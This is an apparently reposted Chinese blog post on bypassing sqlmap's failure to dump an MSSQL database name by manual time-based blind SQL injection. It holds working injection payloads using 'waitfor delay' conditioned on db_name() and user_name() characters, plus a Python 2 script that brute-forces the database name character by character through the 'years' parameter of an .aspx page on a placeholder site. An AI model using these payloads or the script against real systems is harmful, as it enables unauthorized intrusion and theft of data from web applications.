zoukankan      html  css  js  c++  java
  • 【实战】sqlmap显示有注入却无法爆出库名

    sqlmap爆mssql数据库时采用的语句如下图:

    从语句中不难看出,如果关键字select被“(非tamper绕过)处理”了,那sqlmap是无法爆出数据库的,这时我们可以使用原始的猜解法,

    #判断数据库和用户名长度
    '+if(len(db_name())=%s)+waitfor+delay+'0:0:5'--
    '+if(len(user_name())=%s)+waitfor+delay+'0:0:5'--

    #循环注出数据库和用户名
    '+if(ascii(substring(db_name(),%s,1))=%s)+waitfor+delay+'0:0:5'--
    '+if(ascii(substring(user_name(),%s,1))=%s)+waitfor+delay+'0:0:5'--

    分享一个最近用的时间延迟盲注爆库名脚本(手工测下库名长度):

    import urllib
    import urllib2
    import time
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
    values={}
    print 'Start to retrive database:'
    user= ''
    
    for i in range(1, 20):
        for payload in payloads:
            startTime=time.time()
            try:
                values['action']='getvideo'
                values['pc_mob']='GP'
                values['years']="' if(ascii(substring(db_name(),%s,1))=%s) waitfor delay '0:0:5'--" % (str(i),ord(payload))
                data = urllib.urlencode(values)
                url = "http://www.xxx.com/operation.aspx"
                geturl = url+'?'+data            
                request = urllib2.Request(geturl,headers=header)
                response = urllib2.urlopen(request)
                if time.time()-startTime>5:
                    user+=payload
                    print 'the database is:'+user
                    break
                else:
                    print 'dumping database...'
            except Exception,e:
                print e
  • 相关阅读:
    python--总结04-2---并发及数据库
    python--总结04-1---并发及数据库
    python--总结03--面向对象及网络
    python---总结01--基础
    python---总结02--函数
    mysql的join操作
    Bash 中的特殊字符大全
    Linux中软件的安装和卸载命令
    MFC 多窗口通信时,使用RadioButton和Button时冲突问题
    MFC中处理UI界面时的注意点
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/9524213.html
Copyright © 2011-2022 走看看